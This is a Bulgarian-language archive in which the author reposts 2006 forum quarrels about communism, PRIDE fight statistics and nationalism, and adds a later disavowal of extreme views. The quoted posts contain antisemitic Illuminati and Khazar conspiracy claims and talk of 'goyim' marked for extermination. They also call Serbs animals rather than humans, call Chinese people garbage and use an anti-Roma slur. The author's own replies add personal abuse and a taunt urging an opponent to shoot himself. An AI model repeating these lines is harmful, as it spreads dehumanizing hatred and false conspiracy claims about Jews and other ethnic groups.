"9. ИДЕОЛОГИЧЕСКИ ФАНАТИЧЕН - ФАНАТИЦИТЕ-КОМУНИСТИ ПОВТАРЯТ ЦЕЛИ ФРАЗИ И ИЗРЕЧЕНИЯ, БЕЗ ДА ВЛАГАТ МИСЛИ И ЛОГИКА В ТЯХ. ЗА ТЕЗИ ХОРА Е ВАЖЕН ФАКТЪТ, ЧЕ Е БИЛО НАПИСАНО ОТ НЯКОЙ СИ ВОЖД ПРЕДИ ЕДИ-КОЛКО СИ ГОДИНИ."
И ти си така, с тази разлика, че не знаеш, че е написано от някой вожд и се изненадваш като дойдат по-прочели от типа на Колчо и моя милост дето рано или късно ти хващаме влиянието.
"ТОВА ЗНАЧИ, ЧЕ Е ВЯРНО. ЗАЩОТО ТОЗИ КОЙТО ГИ Е КАЗАЛ, Е БИЛ ВОЖД, НЯКАКВО ГУРУ, ЗЕМНИЯТ БОГ! (КАТО ВСЯКО ИНДИАНСКО ПЛЕМЕ И НИЕ, КОМУНИСТИТЕ СИ ИМАХМЕ ВОЖДОВЕ.)"
ВИЕ КОМУНИСТИТЕ? Хм... Колчо! Аз какво ти разправям? Дърто ВКР е това, ама се еб@ва тука с нас...
"УСПЕХИ И ОТ МЕН! И МИСЛИ ЛОГИЧНО!"
Ванго това ми прилича на някой негър, който казва "Лук ет ми! Би уайт!"
("Look at me! Be white!" "Погледни ме! Бъди бял!" Тоест, като хумор, парадоксалност. Просто негроидната раса е черна, та няма как да казва някой от нея "Бъди бял като мен." Не съм го писал в расистки смисъл, а и аз отдавна ненавиждам всичко расистко, защото само пречи на всеобщото развитие и мира.)
Колкото до вождизма, до култа към личността - полезно може да е само до определена степен, ако наистина въпросният вожд е добър лидер. А догматизмът не е добро нещо, дори и да става дума за научен догматизъм или за диалектикоматериалистически догматизъм. Аз в една много стара статия, която бях пращал в писмо до вестник на едно от новите БКП-та съм писал за недогматичното развитие на комунистическата мисъл. Жалко, че нямам запазено копие.
"НЕДЕЙ БЪДИ ФАНАТИК. ЗНАЕШ, ЧЕ ФАНАТИЗМА Е БОЛЕСТНО СЪСТОЯНИЕ."
Ти затова ли си?
"ВЕЧЕ ТУК СЕ ЩУКА ЕДИН, КОЙТО КОЛКОТО ПЪТИ МУ ОТГОВАРЯМ НА ПРОСТОТИИТЕ,"
Ако отговаряш на простотии, значи, че отговаряш на себе си. Примерно ето ти простотиите ти:
-Монголия не е прехождала от феодализъм към социализъм.
-Монголия е социалистическа и затова там мрат от глад, по юртите!
-Либия е капиталистическа, защото няма социалистически символи.
-Китай е капиталистически, защото има само социалистически символи.
-ЦРУ пише по инерция.
-ЦРУ няма сайт с добри данни.
-Философията не борави с фактология.
-Философията няма предмет.
-Диалектиката е само черно-бяла.
-Маркс е имал няколко фабрики, понеже е евреин. Евреите имат по няколко фабрики всеки.
-Идеологията е насилие.
-........................................да изброявам ли още?
-Афганистан
-Стагнацията на правителството в Изт. Германия
-Колчо не мисли логически
-Ванго мисли логически
Хитове колкото щеш.
"ТОЛКОВА ПЪТИ МИ ГИ ПОВТАРЯ ВЪВ ВСЕКИ СВОЙ ПОСТИНГ КЪМ МЕН. И ЗНАЕШ ЛИ ЗАЩО? ЗАЩОТО Е ДО ТАКАВА СТЕПЕН ФАНАТИЗИРАН, ЧЕ НЕ МОЖЕ ДА РАЗСЪЖДАВА ТРЕЗВО И ЛОГИЧНО НАД НЯКОИ ПРОСТИ ФАКТИ, КОИТО МУ ПРЕДЛАГАМ:))"
Да ве, като например, че в Унгария са избити 1 000 000 души и, че ЦРУ преписва от "Дума" и "Работническо дело". Това не са факти. Това са шитове!
"ИДЕОЛОГИИТЕ ПРОМИВАТ МОЗЪЦИ. ИДЕОЛОГИЯТА И РЕЛИГИЯТА, ГОРЕ-ДОЛУ ИМАТ ЕДНИ И СЪЩИ ПРИНЦИПИ:)"
А какво ще кажеш за идеологията на демокрацията? Всяка политическа теория си има идеология (А ДОБРО УТРО!).
Ванго имам идея - искаш ли от всяко твое твърдение да правим по една тема?
Примерно - "ЦРУ няма точни данни, пише по инерция и ползва материалите на "Раб. дело"" или "Социалистическа Монголия днес, умираща от глад по юртите"?
За да те увековечим в споменатия от мен Златен фонд?
За да е по-ефектно можеш да си формулираш темите сам, понеже, ако ги формулира друг ще помислят, че се шегуваме.
Колкото до идеологията на демокрацията - след толкова време човешка история, вижда се, че както е казал Чърчил не е най-доброто (не е перфектна), но няма по-добро измислено от нея.
______
-
Още някакви излезнаха от онова време, които съм запазвал... непрестанно изскача по нещо ново, което е добре, за да има повече архив. 8)
"Въпреки културното ми поведение и висок стил на изказа, модераторите пак ми трият мненията - няма проблем, аз пак ще ти пусна статистиката, смешко, за да ми направиш оценка и да спреш да се отваряш по теми, в които си гола вода, да не кажа "гол..."."
Доста съм добре по темите, но ти, който не си добре с икономиката, явно не си добре и с математиката щом като смяташе, че 20% са малко и няма значение с какво ги съпоставяш със сумата или с членовете на уравнението.
"Това са 8(не 5, а 8) турнира ПРАЙД, ПОСЛЕДОВАТЕЛНИ, давам ти срещите с японско участие(средно 4 на турнир от 9-10), махам срещите между японци. Би ли бил така добър да ми кажеш колко процента са победите на японците. Въпросът е риторичен - и сам мога да ги сметна!
"
Ама добре, ще си ги проверя самичък:
7 Mirko Filipovic Nobuhiko Takada Draw 5 3:00
4 Yoshihisa Yamamoto Jan Nortje Submission (Armbar) 1 1:43
1 Daijiro Matsui Quinton Jackson DQ (Knee to Groin) 1 0:14
5 Shungo Oyama Renzo Gracie Decision (Unanimous) 3 5:00
Представил си 32 срещи. От тях една е равна и няма да я броим. Остават 31 срещи. От тях 3 са спечелени от японците. Това значи приблизително 10% успеваемост за японците.
А СЕГА ЩЕ ПОКАЖА НА ХОРАТА КАК ТИ ТРЯБВА ДА СЕ ИЗВИНИШ! ИЗВАДИЛ СИ СРЕЩИ ОТ ДАЛЕЧНАТА 2002-ра година, НО НЕ СИ ПРОДЪЛЖИЛ МАЛКО ПО-НАТАТЪК! ДАВАМ СТАТИСТИКАТА ЗА края на 2002-ра и нататък!
ПРАЙД 23
Японски победи:
Kazushi Sakuraba : Gilles Arsene
Hidehiko Yoshida : Don Frye
Hirotaka Yokoi : Jerrel Venetiaan
Една среща е победа на японец над японец, остават 8. 3 от тях са японски победи.
ПРАЙД 24
2 японски победи над японци. Няма да ги броим. Няма мачове на японци с неяпонци.
ПРАЙД 25
8 срещи. Една от тях изключваме, понеже е японска. Остават 7. От тях 1 е японска победа:
Акира Shoji : Alex Stiebling
ПРАЙД 26
2 японски победи от 7 срещи.
Daijyu
Takase Anderson
Silva
1R 8'33" IPPON (SUBMISSION) - Choke
Kazuhiro
Hamanaka Antonio
Schembri
3R 5'0" Decision
От 22 срещи 6 победи за японците.
ПРОЦЕНТЪТ ТУК Е ОКОЛО 27!
Следователно:
а/ Ти си изнесъл СТАРИ СРЕЩИ, представяйки ги за нови.
б/ Спрял си там, където (в по-ново време) процентът нараства.
в/ ОТНОВО, СУМИРАЙКИ ВСИЧКО ИЗЛИЗА
31(подбрани тови) + 22(мои) = 53 валидни срещи
3(подбрани твои) + 6(мои) = 9 японски победи
17% УСПЕВАЕМОСТ. Всяка 5-та или 6=-та среща е печелена от японец!
Ще броим ли по-нататък?
ПРИМЕРНО:
ПРАЙД 29 :
2 японски победи от 10 срещи. 20% !
___________
ОБОБЩЕНИЕ:
Опитвайки се да докажеш неиздържаната теза на Ончо, че японците трябвало да се откажат от Прайда, подбра целенасочено само по-губещи турнири и то от 2002-ра година! Искаше да представиш само 9-10% успеваемост, НО ТИ СЕ ДОКАЗА, ЧЕ Е ДВОЙНО ПО-ГОЛЯМА!
Предлагам да се извиниш на всички четящи за некомпетентността и преднамереното изкривяване на информацията, както и да видиш колко смешно е всичко това. Изгубена кауза!
_________
Thu Apr 6 19:48:49 2006
САМО, АКО БЕШЕ ИЗЧАКАЛ ЕДНА МИНУТА и щеше да видиш, че пиша. Постингът ми е 1 минута след твоите обвинения. И ограничи епитетите, понеже да не се оплакваш, че пак са те трили!
--------------------------------------------------------------------------------
Изглежда употребяваш обидни епитети срещу мен, за да те трият и да не може хората да ти гледат позора? Е, ДА, АМА СЕГА ДОКАТО ТЕ ИЗТРИЯТ, ЩЕ СЕ ВИДИ КАК ПОДВЕДЕ В РЕЗУЛТАТИТЕ ОТ ПРАЙДОВЕТЕ!
Сега, сине, можеш започнеш да се нервиш. Гледай да не ти стане нещо, както на колегата ти и да изпаднеш в истерии, че просто сме се нагледали на такива в порнографския Ви сайтец.
社会
Thu Apr 6 20:09:43 2006
Като говориш за SHOCKWAVE и гледаш В ПОСЛЕДНО ВРЕМЕ, защо не погледнеш някой по-нов, примерно от 2004. Ето:
--------------------------------------------------------------------------------
SHOCKWAVE 2004 (удебелено е, за да не бъркаш елементарни английски думи, нали ужким беше специалист по английски искаше чрез него да транскрибираш фонетически латинските думи, от рода на "ПЕР КАПИТА" ?)
11 срещи!
ЯПОНСКИ ПОБЕДИ : 3!
ПРОЦЕНТ : 27-28 %!
Когато фактите говорят, Добруджански да замълчи!
И , апропо, голям ексцентрик си бил... На това ли се дължи незнанието ти?
ДОБРУДЖАНСКИ:
Така или иначе, няма да се измъкнеш със или без ексцентричност. Казах ти, че отстояваш изгубена кауза. Отдавна съм проверил по-състоятелните статистики от ПРАЙДА и сега само ти гледам жалките напъни за конкретно противопоставяне.
ЗАПОМНИ НЕЩО - СЛЕД КАТО УТОЧНИМ С ТЕБЕ НЯКАКЪВ ПРОЦЕНТ ЯПОНСКИ ПОБЕДИ, СЛЕД ТОВА ОЧАКВАМ ДА МИ ПОСОЧИШ ПОНЕ 2 НЕЯПОНСКИ НАЦИИ, ЗА ДА НАПРАВИМ СЪПОСТАВКАТА ПО ОТДЕЛНО И КЪМ ЦЯЛОТО! Аз ще те оправя тебе, то тука не е като в ДАОТО, дето, като не ви изнасят такива истини и БАНИРАНЕ. Тука се работи честно!
--
Незабравими спорчета. ;D А въпросният човек, съвсем случайно, ми попадна онлайн в няколко видеота от последните години, ами да ви кажа, в сравнение с онова време, доста се е развил - показва добри познания (и икономически, и в бойните изкуства, говори умерено, има и мъдри изречения. С годините някои наистина се променят към добро. Аз и преди ви писах, че много от тези, с които съм спорил тогава, с годините ще се променят - е, не всички прогресивно като този човек, някои ще си останат на същото ниво, други ще деградират, но като цяло, хора, които се учат, трудят и наблягат на важните неща, като въпросния Добруджански, доказват че прогресивното развитие на личността е възможно.)
-
"3 лв. клекала и тоалетни чинии." :) Какво ли ще да е било това? ???
-
Писал съм в два вестника, както и съм издавал за кратко личен вестник. Имам някакъв журналистически опит. Преди време се опитвах да ставам сътрудник на някоя медия от Китай. Ето и едно запазено писмо от преди години (около 2007 година ще да е било):
"Zdraveyte gospoja/-tsa R.!
Namiram se v Kitay pove4e ot 2 godini i jiveq tuk postoqnno. Jenen sym za kitayska grajdanka i ve4e vladeya ezika na edno prilichno nivo, koeto mi pozvolyava da imam dostyp do vsyakakvi aktualni, "jylti" i konkretno - ikonomicheski, politicheski i obshtestveni novini.
Po obrazovanie sym filosof / magistyrska stepen ot SU "Sv. Kliment Ohridski"/, po profesiya sym uchitel, na po4ti ХХ godini sum.
Bih li mogyl da byda korespondent na BTA ot Kitay i kakvo e zaplashtaneto kato forma i kolichstvo?
Blagodarya Vi.
V ochakvane na vashiya otgovor : G. ..
--------------------------------------------------------------------------------
zabravih da Vi kaja, 4e predimstvoto mi e v tova, 4e poznaniyata mi po kitayski mi davat vyzmojnost da namiram mnogo interesni novini, koito ne mogat da se namerqt dori v saytovete na golemite informatsionni agentsii. Naprimer novinata, 4e edno 6impanze ot zoopark v Kitay e zapo4nalo da pu6i, otkakto mu e po4inal partnyora i sega upravata na zoologi4eskata gradina e re6ila da vzeme merki sre6tu tozi vreden navik, kato pyrvata ot tqh shte e da mu nameryat nov partnyor.
Prilagam i 2 snimki na 6impanzeto.
V o4akvane na va6iq otgovor i s uvajenie:
G. .."
Така и не получих работа в никоя медия в България. А по-натам, с развитието на интернета, те много и не се нуждаят от сътрудници. В Китай един редактор също ми отказа, преди години, с мотива: "Ама за какво да наемам журналист? Ето, то всичко си го имам в интернет."
Отбелязвам ги тези неща, за да ги има в архива, както и лично да се вижда, че безспирно съм опитвал какво ли не.
-
Около 2006-та да е било; поне запазеният файл е от тази година... Атакистки период. Става дума, че тогава, за кратко, бях повярвал, макар и живеещ трайно в чужбина, че в националистическа партия, от сорта на "Атака" има надежда да се постигне абсолютен просперитет, абсолютна независимост и величие на България (което ще е добре както за българските граждани там, така и за тези пожелали да живеят извън България... Е, да де, но не се получи.)
Отбелязвам, че съжалявам за всякакви по-крайни изказвания. Отдавна съм коригирал всякакви крайности в светогледа си - било то свързани с етноцентризъм, евроцентризъм/азиоцетризъм и пр., както и всякакви национални/етнически предразсъдъци. Вече съм за 100% пацифизъм (миролюбие), демократизъм (народовластие), свобода и пр. умерени, добри отношения.
"..., КЪДЕТО ЩЕ МИ ОТВОРЯТ ОЧИТЕ ЧЕ ЩЕ МЕ И ОСЛЕПЯТ, ОТ СВЕТЛИНА, ЗА РЪКОВОДНАТА РОЛЯ НА ДРУГАРЯ МАО ЦЗЕ ДУН, ПО ГАДЖЕТА. ЧЕ СЕГА ДА СЕ ИЗЛАГАМ ТАКА НЕ ПРИЯТНО. ПРИЯТЕЛ, ТВОЯТА КОМПАРТИЯ, Е СЪЗДАДЕНА НЕ ОТ ДРУГАРЯТ ШИБАНЯК ДУН МУН И ТЕМ ПОДОБНИ ЧОВЕШКИ ЕСКРАМЕНТИ, А ОТ МАСОНСКИТЕ ОРГАНИЗАЦИЙ НА ДВЕ ДЪРЖАВИ, САЩ И БИВШИЯТ СССР. АКО НЕ ТИ Е ИЗВЕСТНО, ЧЕ ДОРИ КОМУНИЗМЪТ НЕ Е ИЗМИСЛЕН ОТ ОНЗО РАВИНСКИ БОКЛУК КАШЕЛ МОРДОХАИ А ОТ АДАМ ВАЙСХАУПТ (ВАЙШОП) ПРЕЗ 1776 НА ЗАБЕЛЕЖИ НА 1 МАЙ НЕГОВОТО ДВИЖЕНИЕ ИЛЮМИНАТИ. ТА КОМУНИЗМА ИЗЦЯЛО СЕ ПОКРИВА СЪС ТОВА САТАНИНСКО УЧЕНИЕ НА ТОЗИ ГЛАВОРЕЗ СЪС ТОЧКИТЕ МУ ЗА ЗАВЗЕМАНЕ НА СВЕТА, И ПРЕМАХВАНЕ НА РЕЛИГИЯТА КАТО ИНСТИТУЦИЯ И КАТО ВЯРВАНЕ В ЕДНО ВЪЗВИШАНО БОЖЕСТВО. ПРЕМАХВАНЕ НА СЕМЕИСТВОТО, ПРАМАХВАНЕ НА ВСЯКАКВИ НАЦИОНАЛНОСТИ И НАЛАГАНЕ НА ЕДНА СВЕТОВНА ДИНАСТИЧНА ДИНАСТИЯ, НАЧЕЛО С "БОГОПОМАЗАНИКЪТ" ТАКА ЧЕ Я СРАВНИ ИЛЮМИНАТСТВОТО НА НЕМСКИЯТ ЕВРЕИН ОПС ЕВРЕИН ЛИ КАЗАХ, НЕ БРЕ ХАЗАРИН, СЪС КОМУНИЗМА И ДА ВИДИМ МАМКА ТИ НЕДОУЧИЛА, ДАЛИ КИТАИ НЕ Е ВЕЧЕ ОТ ЗАРОДИШ Е МАСОНСКА И ИЛЮМИНАТСКА ДЪРЖАВА. ТАКА ЧЕ ВЗЕМИ ТИ Я МАРШ КЪМ НАЙ-БЛИЗКАТА ЦЗИАН ЦЗЪМИНСКА ПСИХИЯТРИЯ ПСИХАР ТАКЪВ.
Колко си непросветен! Комунистически Китай е създаден от Китайската Ком. Партия с ръководната роля на Мао Дзе-Дун, бе пич!
Е КОИ СА СЕРИОЗНИТЕ КНИГИ, СПОРЕД ТЕБ А А А ТРУДОВЕТЕ НА МАРКС. ИЛИ ТРУДОВЕТЕ НА ТВОЯ МАО ЦЗЕ ДУН ИЛИ КАКВИ. ВЗЕМИ И СИ ИЗТРИЙ АНАЛНОТО ОТВЕРСТИЕ С ТЯХ, БЛАГОДАРЯ, НЕ ЧЕТА САТАНИНСКА ЛИТЕРАТУРА. А ЗА ИЗНАСИЛВАНИЯТА ГЛУПАКО, В ТИБЕТ НАЙ-ДОБРЕ ГО ПРИЛАГАТ ТОВА РЕПРЕСИВНО ДЕЙСТВИЕ, КИТАЙЧОРИТЕ НА РОДИТЕЛИ МОНАСИ, ПРЕД ОЧИТЕ НА НЕВРЪСТНИТЕ ИМ ДЕЦА. А ЗА ТВОЯТА ЮГОСЛАВИЯ ВЗЕМИ СИ Я ТАМ ПРИ ТЕБ ЛЕВИЧЕ ГРОЗНО, ЗАЩОТО ДА НЕ ТИ ОТВАРЯМ ЗА ЮГОСЛАВСКИТЕ ЗВЕРСТВА ПРЕЗ ВРЕМЕТО НА КРАЛСКА ЮГОСЛАВИЯ И ТИТОВА ЮГОСЛАВИЯ, ЧЕ СВЯТ ЩЕ ТИ СЕ ИЗВИЕ. ВЗЕМИ ПРОЧЕТИ НА АНРИ ПОЗИ КНИГАТА ВОЙНАТА СЕ ВРЪЩА ЗА ИЗСТЪПЛЕНИЯТА НА ТЕЗИ ДЯВОЛСКИ СЪЩЕСТВА СЪРБИТЕ В МАКЕДОНИЯ И ТОГАВА МИ ГОВОРИ ЗА ИЗСТЪПЛЕНИЯ. ВСЯКО УНИЖЕНИЕ СЪРБИТЕ СИ ГО ЗАСЛУЖАВАТ, ЗАЩОТО ТЕ НЕ СА ХОРА, А ЖИВОТНИ НЕНАВИСТНИ.
Е, то ясно, че ти няма да седнеш да прочетеш някоя сериозна книга, ама поне не се излагай. И терористичен не е Китай, а САЩ, дето изтерориха ИРАК, че даже вече и на изнасилвания минаха, а БГ ги подкрепи с войници! Кой е терориста? Ами Югославия? Ами Латинска Америка?
Ами сега дето се отварят на Венецуаела, Белорусия, Зимбабве и всеки, който не им уйдисва, като Иран или Сирия? Така че не наричай нагло терористи хората при положение, че ти си в държава - копой на най-големия световен терорист - САЩ.
МНОГО ДОБРА ХАРЕКТИРИСТИКА СИ ДАВАШ НЕ МИСЛИШ ЛИ А А А. ТО Е ЗА ТЕБ ТОВА ТВОЕ ПРЕДЛОЖЕНИЕ. КОГА ВИЕ КОМУНОИДНИ СЪЩЕСТВА ТАКИВА ЩЕ СЕ НАУЧИТЕ ДА СИ НОСИТЕ САМИ ТОВАРЪТ, И ЧЕ НИКОИ НЕ ВИ Е ДЛЪЖЕН ДА ВИ НОСИ ГРЕХОВЕТЕ ЗА ВАШИТЕ ПРЕСТЪПЛЕНИЯ ПРЕД ЧОВЕЧЕСТВОТО.
"ТЕЗИ, КОИТО КОМАНДВАТ СВЕТА" - хахахахаха! Препорчвам на казалият въпросните редове да се назначи постоянен режим на затворени врати в някое специализирано лечебно заведение, както и да ходи на лекции по "Обща история", придружен от полицай и медицинска сестра, които да си говорят, за да не скучаят по време на лекциите.
ХМ! РАСИСТ ЗНАЧИ СЪМ БИЛ, АМИ ДА ВЗЕМЕМ ПО НАННАДОЛУ ДА ПОСЛЕЗНЕМ И ДА ВИДИМ КОИ ОБИЖДА НА ЦИГАНСКО, ТО АКО НЯКОИ КРИВОЗАЩИТНА ОРГАНИЗАЦИЯ В БЪЛГАРИЯ СЕ УСЕТИ ЧЕ ОБИЖДАШ ЦИГАНЯТА, ЩЕ ВЗЕМАТ ДА ПООСЪДЯТ ТАКА ЛЕКО. АМА НЕ СЕ СЪМНЯВАМ ЧЕ ЩЕ СТАНЕ, ЗАЩОТО СТЕ ВСЕ ПАК ОТ ЕДИН ОТБОР, А ПЪК ТЕ НЕ СЪДЯТ ХОРА ОТ СВОИТЕ СИ РЕДИЦИ. ТАКА ЧЕ Я СИ ЗАТВАРЯИ ЧЕРВИВАТА УСТА. А КИТАИЦИТЕ МНОГО ДОБРЕ СЕ РАДВАМ ЧЕ СИ МЕ РАЗБРАЛ. ДА ИЗПРОШЛЯЦИ СА, И ТО НАЙ-ГОЛЕМИТЕ БОКЛУЦИ НА СВЕТА.
Изпрошляци??? Китайците са изпрошляци...Хм, не само параноичен, но и РАСИСТ-ШОВИНИСТ, нашьо
МАЙМУНО, НЕ АЗ ЩЕ СЕ ЗАСТРЕЛЯМ, А ПО СКОРО ТИ. ЗАЩОТО СЕГА В МОМЕНТА ТИ, СЕ НУЖДАЕШ ОТ РЕКЛАМА, ЗА ДА СЕ ИЗМЪКНЕШ ОТ ОБЕЗВЪЗДУШЕНИЯТ ТИ СВЯТ НА ИЛЮЗИЙ, И СЕ СТРЕМИШ НАЙ-АКТИВНО ДА СЕ ЗАБЕЛЕЖИШ НА НЯКОГО, ТАКА ЧЕ НЕ МИ ГОВОРИ ЗА ЗАСТРЕЛВАНЕ ЗАЩОТО ТОВА СИ Е ВАШ ПАТЕНТ ЗАСТРЕЛВАНИЯТА.
Маймуни? Абе, батенце, що не се застреляш за благото на Родината си, най-малкото? Че като те глдам ти си деволюирал се!
ЗНАЕШ ЛИ? ТОЧНО РЪКОВОДИТЕЛИТЕ НА ТОВА ТАЙНО ПРАВИТЕЛСТВО КАК НАРИЧАТ ТАКИВА ПАПАГАЛИ КАТО ТЕБ? ЗАПОМНИ ГО ТЕРМИНЪТ Е ГОИ. И ЗНАЕШ ЛИ ТОЧНО ТАКЪВ СИ ЖАЛЪК ГОИ ЗА ИЗТРЕБВАНЕ. НО НЕ ОТ ТАКИВА КАТО НАС, А ОТ САМИТЕ ТИ ГОСПОДАРЧЕТА.
ТАЙНОТО ПРАВИТЕЛСТВО НА СВЕТА ??? Ха-ха-ха!!!!
Абе, загубно човече, АКО ИМАШЕ ТАКОВА НЯМАШЕ ДА ИМА ТОЛКОВА ВОЙНИ И КОНКУРЕНЦИЯ И ВСИЧКО ЩЕШЕ ДА Е УЛЕГНАЛО, БРЕ. ДА СИ ЧЕЛ НЕЩО ЗА СИСТЕМИТЕ НА УПРАВЛЕНИЕ И ЗА ТОВА КАК ПО ПРИНЦИП ТЕ ИМАТ ЕДИН ЦЕНТЪР?
ЗНАЕШ ЛИ? СТАВАШ МНОГО ДОСАДЕН С ТЕЗИ ХАПЧЕТА ЛУДНИЦИ. бРЕ ДА ТЕ ПИТАМ? ДА НЕ БИ СЛУЧАИНО ДА ПИШЕШ ОТ ТАКОВА СПЕЦИАЛИЗИРАНО ЗАВЕДЕНИЕ. ЗАЩОТО МНОГО МЕ СЪМНЯВАШ, И НЕ ЗНАМ? КОИ Е ТОЗИ ГЛАВЕН ЛЕКАР КЪДЕТО ТЕ Е ДОПУСНАЛ ДО ПЕРСОНАЛНИЯТ СИ КОМПЮТЪР, ЗА ДА ПИШЕШ. ТО СИГУРНО КОМЮТРИТЕ В КИТАИ СА НАПРАВЕНИ ОТ ДЪРВО КАТО СТАР ТЕЛЕВИЗОР ОПЕРА, ИМА ЛИ НЕЩО ТАКОВА. ХАИДЕДЕ СПОДЕЛИ, КАКВО СЕ СТЕСНЯВАШ, ЩЕ ТЕ РАЗБЕРА.
Абе, аз да питам, защо (винаги съм се чудел) като на някой му назначат хапчета и той НЕ ГИ ПИЕ!
Е Е Е ЕДНО НЕЩО ДА ЧУЯ ОТ ТЕБ ПОЛОЖИТЕЛНО. НО НАЛИ ЗНАЕШ ЧЕ ЗОДИЯТА СКОРПИОН Е ДОСТА ПРОБЛЕМНА. ЧЕ С НАС НЕ СЕ ИЗЛИЗА НА ГЛАВА, И АКО СИ МИСЛИШ ЧЕ ЩЕ СЕ ОТКАЖА ДА ТЕ ПРОВОКИРАМ ПРОСТО МНОГО СЕ ЛЪЖЕШ. ТИ ЩЕ СЕ ОТКАЖЕШ ОТ ГЛУПОСТИТЕ ТИ, А НЕ АЗ. ТАКА ЧЕ НЕ МЕ ИНТЕРСУВА КОЛКО ЩЕ СЕ ИЗЛОЖА, НО ВАЖНОТО ТЕБ ДА ТЕ НЯМА ТУК. А МИ ТО ТЕЗИ МУТАНТИ, ОПРЕДЕЛЕНО БЯХА АГЕНТ ПРОВОКАТОРИ НА СЪЩИТЕ ТЕЗИ ТАЙНИ СЛУЖБИ КЪДЕТО ГИ РАЗИСКВАМЕ. А ТИ НЕ ЗНАЕШ ЛИ ЧЕ ТОЗИ ФОРУМ Е ПОД СИЛНОТО НАБЛЮДЕНИЕ НА ДС ТАКА ЧЕ ДА ПОЗДРАВИМ ОНЕЗИ ИЗПРОШЛЯЦИ КЪДЕТО НИ ЧЕТАТ СЕГА В МОМЕНТА ПОСТИНГИТЕ, И ДА ИМ ПОЖЕЛАЕМ ДА НЕ ЗАСПИВАТ ПРЕД КОМПЮТРИТЕ, А ДА СИ ОТВАРЯТ ОЧИТЕ, ЧЕ ТОКУ ВИЖ СМЕ ИМ ГО ХАКНАЛИ НА ТЕХНИТЕ ГОСПОДАРИ. А МЕЖДУ ДРУГОТО, ЗНАЕШ ЛИ КОЛКО МИ НАМИРИСВАШ ТОЧНО НА ПРОВОКАТОР, ГОВОРИШ СЪЩО КАТО ТЯХ, И НАЛАГАШ СИ ЛИНИЯТА НА ПОЛИТИКА СЪЩО КАТО ТЯХ. ЕИ БРАТО МНОГО СИ ИЗНОСЕН СМЕНИ ФАСОНА БРЕ, ЗА ДА НЕ ТЕ РАЗПОЗНАВАМЕ. ДА СЕ ИМАШ ЗА НАЦИОНАЛИСТ, ПЪК ДА ПОДКРЕПЯШ КОМУНИЗМА, Е ТОВА Е ПОВЕЧЕ ОТ ПРОВОКАЦИЯ. ТА ТАК ЧЕ САМИЯТ ТИ СИ ПРОВОКАТОР ТУК В ТОЗИ ФОРУМ.
БРАВО БЕ, НА ВСИЧКО ОТГОРЕ СМЕ И ЕДНА ЗОДИЯ! Не те е срам
Добре де, като си бил в 9-ти клас ставаха митингите и се появяваха всякакви мутанти, не ти ли стана ясно, че всичко отива по дяволите и оттогава досега само разруха, а в същото време в КНДР и Китай само се градеше и строеше?
Ето виж сега Китай какво е:
и сравни чистосърдечно с България, та кажи коя система се оказа като по-успешна?
М М М КАТО СИ СПОМНЯ КОЛКО РАДИАКТИВНИ БЯХА КЕБАПЧЕТАТА, ЧЕ ЛИГИТЕ МИ МИ ПОТИЧАТ, ДА МУ СЕ НЕВИДИ, ОЛИГАВИХ СИ КЛАВИАТУРАТА, ИЗВИНЯВАИ, СЛУЧАВА СЕ. ЕХА КОЛИЧКАТА КАК СИ Я ПИЕХМЕ НА КОРЕМ! СЛЕД ДОСТА ДЪЛГО ЧАКАНЕ НА ОПАШКА ДА Я КУПИШ И ТО С ДОЛАРИ А НЕ С ЛЕВОВЕ. И МАНГАЛИТЕ ТОГАВА НАЙ-МНОГО ИМАХА ПРАВАТА ДА КОЛЯТ И БЕСЯТ, ТО НЕ ЧЕ СЕГА ТАЗИ СЪЩАТА ПОЛИТИКА НА ГЕНОЦИД Я НАМА ДЕ, НО ТОГАВА ДОСТА ДОБРЕО БЕШЕ ВРЕМЕТО. НАИСТИНА ТИ СИ ЕДИН НАИВЕН ГОИ. ДА ПОДЧЕРТАЕМ ХОН ГИЛ ДОН БЕШЕ ЮЖНОКЕРЕИЙСКИ ФИЛМ, ОТВОРКО, А НЕ СЕВЕРНО КОРЕИЙСКИ ТАКА ЧЕ ХАИДЕ МОЛЯТЕ, НЕ МИ ПРИПОМНЯИ ТЕЗИ ВРЕМЕНА ЧЕ МИ СЕ ПОВДИГА ОТ ТЯХ, И ИЗОБЩО ОТ СРАМНОТО И ПОЗОРНО МИНАЛО НА БЪЛГАРИЯ. САМО С ТОВА ЩЕ СИ ОСТАНИТЕ, С НОСТАЛГИЯТА ПО МИНАЛОТО, ЗА ВАС БЪДЕЩЕТО Е МРАК И ЗА ТОВА СИ ЖИВЕЕТЕ В МИНАЛОТО, И ТАМ СИ ОСТАНЕТЕ, А НЕ МИ ДАВАИТЕ АКЪЛИ КАК ДА СИ ЖИВЕЕМ ЖИВОТА. АЗ СЪМ ЧОВЕК НА БЪДЕЩЕТО, МЕН МЕ ИНТЕРЕСУВА УТРЕ КАК ЩЕ БЪДА, А НЕ КАК СЪМ БИЛ ВЧЕРА, И С УМИЛЕНИЕ ДА СИ СПОМНЯМ КАКВО Е БИЛО. БЕЗНАДЕЖДНИ ЛУНАТИЦИ СТЕ И ТАКИВА ЩЕ СИ УМРЕТЕ.
Ами спомни си как нямаше проблеми с мангалите, как ядяхме кебапчета и пиехме количка на корем, как ходехме на море по 1-2 пъти на година, как можехме да ходим почти всеки ден на ресторан и да хапваме пържени картофки с пържолки и шопски салатки и как една книга беше 50 ст., а един вестник - 5 ст., колкото и билетчето на гр. транспорт И КАК КИНОТО беше 20 ст. и (поне аз) гледахме по 14-15 пъти :
-ХОН ГИЛ ДОН( Корейски филми)
_МЕЖДУЗВЕЗДИ ВОЙНИ (САЩ)
-13-тата годеница на принца (БГ) / Да ,тогава имаше и добро БГ-кино - спомни си мегапродукцията "Хан Аспарух"
АЛООООО ГЪРМЯЩИЯТ НИН, КАК ТИ ЗВУЧИ ТАЗИ ПОЛИТИЧЕСКА ТРИАДА, БСП, НДСВ, ДПС ТОЧНО ТЕ СЕГА УПРАВЛЯВАТ БЪЛГАРИЯ В КОАЛИЦИЯ, А А А ИЛИ ЩЕ МИ ГОВОРИШ ПАК ЧЕ ЗЛОВРЕДНИТЕ АМЕРИКАНОС СА ВИНОВНИ, ТА НАЛИ СЕГА ТОЧНО АМЕРИКАНЦИТЕ ПОДЪРЖАТ ТЕСНИ КОНТАКТИ С ТОВА ПРАВИТЕЛСТВО, И НАШИ ВОЙНИЦИ ПРОДЪЛЖАВАТ ДА СТОЯТ НА ЛИНИЯТА НА ЖИВОТА И СМЪРТА В ИРАК, ИЛИ ТИ САМО СИ ТРЕНИРАШ ПРЪСТИТЕ ПО КЛАВИАТУРАТА, ЗА ДА КАЖЕШ ЧЕ ПИШЕШ НЕЩО.
